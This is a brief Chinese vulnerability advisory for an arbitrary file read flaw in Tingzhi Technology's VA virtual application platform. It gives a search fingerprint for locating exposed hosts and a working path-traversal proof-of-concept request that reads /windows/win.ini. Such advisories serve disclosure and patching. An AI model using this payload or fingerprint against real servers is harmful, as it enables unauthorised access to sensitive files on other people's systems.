霆智科技 VA虚拟应用平台 任意文件读取漏洞¶

漏洞描述¶

霆智科技 VA虚拟应用平台 存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器中敏感信息

漏洞影响¶

霆智科技 VA虚拟应用平台

网络测绘¶

body="EAA益和应用接入系统"

漏洞复现¶

登陆页面

验证POC

/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini